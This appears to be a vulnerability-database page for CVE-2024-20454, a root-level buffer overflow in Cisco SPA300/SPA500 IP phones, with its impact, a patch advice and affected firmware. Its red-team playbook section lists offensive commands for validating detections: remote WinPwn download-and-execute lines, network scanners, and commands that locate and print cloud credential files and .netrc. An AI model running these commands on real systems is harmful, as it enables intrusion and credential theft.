CVE-2024-20454
Overview
This vulnerability is a buffer overflow in the HTTP packet processing logic of the web-based management interface on Cisco Small Business SPA300 and SPA500 Series IP Phones. The root cause is improper validation of incoming HTTP requests, which allows crafted packets to overflow internal buffers. The flaw resides in the firmware components handling HTTP request parsing on affected IP phone models.
Vulnerability Description
Multiple vulnerabilities in the web-based management interface of Cisco Small Business SPA300 Series IP Phones and Cisco Small Business SPA500 Series IP Phones could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system with root privileges. These vulnerabilities exist because incoming HTTP packets are not properly checked for errors, which could result in a buffer overflow. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to overflow an internal buffer and execute arbitrary commands at the root privilege level.
Impact
An unauthenticated remote attacker can leverage this vulnerability to execute arbitrary commands with root privileges on affected Cisco Small Business IP Phones. No authentication or user interaction is required, and the attacker only needs network access to the device's HTTP management interface. This can lead to full device compromise, enabling control over phone functionality, interception or manipulation of calls, and lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of exploitation and high impact on confidentiality, integrity, and availability.
Solution
Cisco has released firmware updates addressing these vulnerabilities for affected SPA300 and SPA500 Series IP Phones. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-spa-http-vulns-RJZmX2Xz. Specific fixed firmware versions include updates for SPA301, SPA303, SPA501G, SPA502G, and SPA504G models. No workarounds are provided; immediate application of vendor-supplied firmware updates is recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities present in the web-based management interface of specific Cisco Small Business IP Phones stem from inadequate error checking of incoming HTTP packets. This oversight can lead to a buffer overflow condition, where an attacker can manipulate the device's memory by sending specially crafted HTTP requests. When the internal buffer overflows, it allows the execution of arbitrary commands with root privileges on the underlying operating system. This level of access poses significant risks, as it can enable an attacker to alter device configurations, intercept communications, or deploy malicious software, thereby compromising the integrity and confidentiality of the systems utilizing these phones.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated remote attacker can initiate an attack simply by sending a malicious HTTP request to an affected device. Given that the vulnerability does not require authentication, it significantly lowers the barrier to entry for potential attackers. Scenarios may include targeted attacks against organizations that rely on these IP phones for communication, where an attacker could disrupt operations or gain access to sensitive information. Additionally, if the compromised devices are part of a broader network, the attacker could pivot to other systems, escalating their access and impact.
The real-world implications of such vulnerabilities are profound, particularly for businesses that depend on these IP phones for day-to-day operations. A successful exploit could lead to unauthorized access to sensitive communications, disruption of service, and potential financial losses due to operational downtime. Furthermore, the reputational damage from a security breach could have long-lasting effects on customer trust and brand integrity. Organizations may also face regulatory scrutiny and compliance issues, especially if sensitive data is exposed during an attack. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a severe risk to affected systems.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the firmware of affected devices is essential, as vendors often release patches to address known vulnerabilities. Network segmentation can also be employed to limit the exposure of these devices to the internet, reducing the attack surface. Intrusion detection systems (IDS) can be configured to monitor for unusual HTTP traffic patterns indicative of exploitation attempts. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the vulnerabilities in the Cisco Small Business SPA300 and SPA500 Series IP Phones represent a significant threat to organizations that utilize these devices. The potential for remote command execution with root privileges necessitates immediate attention from IT and security teams. By understanding the technical details, attack vectors, and real-world impacts, organizations can better prepare their defenses and mitigate the risks associated with these vulnerabilities. Proactive measures, including timely updates and robust security practices, are critical in safeguarding against exploitation and ensuring the integrity of communication systems.
Affected Products (11)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Spa 301 Firmware | All |
cpe:2.3:o:cisco:spa_301_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 303 Firmware | All |
cpe:2.3:o:cisco:spa_303_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 501g Firmware | All |
cpe:2.3:o:cisco:spa_501g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 502g Firmware | All |
cpe:2.3:o:cisco:spa_502g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 504g Firmware | All |
cpe:2.3:o:cisco:spa_504g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 508g Firmware | All |
cpe:2.3:o:cisco:spa_508g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 509g Firmware | All |
cpe:2.3:o:cisco:spa_509g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 512g Firmware | All |
cpe:2.3:o:cisco:spa_512g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 514g Firmware | All |
cpe:2.3:o:cisco:spa_514g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 525g Firmware | All |
cpe:2.3:o:cisco:spa_525g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 525g2 Firmware | All |
cpe:2.3:o:cisco:spa_525g2_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20454 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-spa-http-vulns-RJZmX2Xz |